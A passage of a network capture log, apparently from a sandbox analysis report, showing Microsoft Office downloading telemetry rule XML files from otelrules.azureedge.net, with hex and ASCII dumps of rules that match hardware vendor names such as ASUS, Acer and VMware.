R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:33 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 17c3c293-501e-00a3-6567-3bc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185934Z-178bfbc474bpnd5vhC1NYC4vr400000001rg000000011hah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:35 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:36 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185936Z-178bfbc474b9xljthC1NYCtw9400000001r000000000tsb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:36 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:35 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4e7b5ce8-701e-0098-117a-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185936Z-178bfbc474btrnf9hC1NYCb80g000000023g000000003g6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:35 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185936Z-178bfbc474bbcwv4hC1NYCypys00000001pg00000000qqz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:35 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185936Z-r1d97b995778dpcthC1TEB4b540000000aq0000000009eu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:36 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185936Z-178bfbc474bnwsh4hC1NYC2ubs000000020g000000006kwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:38 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:38 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185938Z-178bfbc474bq2pr7hC1NYCkfgg00000002300000000069qt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:38 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:38 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185938Z-178bfbc474btrnf9hC1NYCb80g000000020g00000000fqx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:38 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:38 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:38 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185938Z-r1d97b99577l6wbzhC1TEB3fwn0000000avg00000000e4e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:59:38 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:38 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:38 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 44207c53-001e-0079-37ad-3b12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185938Z-r1d97b99577l6wbzhC1TEB3fwn0000000at000000000q7ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:38 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:38 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:38 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 899f8b05-e01e-0003-4ca0-3b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185938Z-r1d97b995774zjnrhC1TEBv1ww0000000ang00000000mtns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:38 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:40 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:40 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185940Z-174c587ffdfcj798hC1TEB9bq400000000c0000000000egn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 18:59:40 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 